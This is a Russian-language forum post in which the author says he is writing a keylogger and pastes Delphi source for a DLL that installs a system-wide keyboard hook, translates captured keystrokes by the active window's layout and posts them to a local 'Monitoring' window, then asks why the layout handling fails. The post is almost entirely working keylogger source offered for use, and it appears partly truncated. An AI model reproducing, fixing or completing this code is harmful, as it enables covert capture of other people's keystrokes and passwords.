Добрый вечер. Решил написать keylogger. Блого в интернете очень много информации по данной теме. но вот беда - ни в одной из них не предусмотрен таккой момент как вывод символов в зависимости от раскладки, либо учитывалось но они не работали. Вот код: длл
| Код | library hookDLLkey; uses Windows,Messages, SysUtils, dialogs; const WM_KEYEVENT = WM_USER+1; var HookHandle: HHOOK = 0 ; KeybrdState:TKeyboardState; Symbol:array[0..1] of char;
//***************** end of GetActiveKbdLayot **************************** {активная раскладка в активном окне} function GetActiveKbdLayoutWnd : LongWord; var hWindow,idProcess : THandle; begin // получить handle активного окна чужой программы hWindow := GetForegroundWindow; // Получить идентификатор чужого процесса idProcess := GetWindowThreadProcessId(hWindow,nil); // Получить текущую раскладку в чужой программе Result:=(GetKeyboardLayout(idProcess) shr $10); end;
procedure SetKbdLayout(kbLayout : LongWord); var Layout: HKL; begin // Получить ссылку на раскладку Layout:=LoadKeyboardLayout(PChar(IntToStr(kbLayout)), 0); // Переключить раскладку на русскую ActivateKeyboardLayout(Layout,KLF_ACTIVATE); end;
function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall; var ServerWnd: THandle; ScanCode:integer; ks : TKeyboardState; hk:Cardinal; begin
if CODE = HC_ACTION then if ((LParam or (1 shl 30))=LParam) then begin ServerWnd:=FindWindow(nil,'Monitoring <BSSF>'); GetKeyboardState(ks); hk:=GetKeyboardLayout(GetCurrentThreadId); ScanCode:=(LParam shr 16)and $FF; SetKbdLayout(GetActiveKbdLayoutWnd); if ToAscii(WParam,ScanCode,ks,@Symbol,hk)>0 then PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam) else PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam); end; Result:=CallNextHookEx(HookHandle, code, WParam, LParam); end; function SetHookKey(Hook : Boolean) : Boolean; export; stdcall; begin Result := false; if Hook then begin if HookHandle = 0 then HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, hInstance, 0); Result := (HookHandle <> 0); end else begin if HookHandle <> 0 then begin UnhookWindowsHookEx(HookHandle); HookHandle := 0; Result := true; end; end; end; exports SETHOOKKEY index 2; begin end.
|
есть какие нибуть варианты почему не срабатывает?? |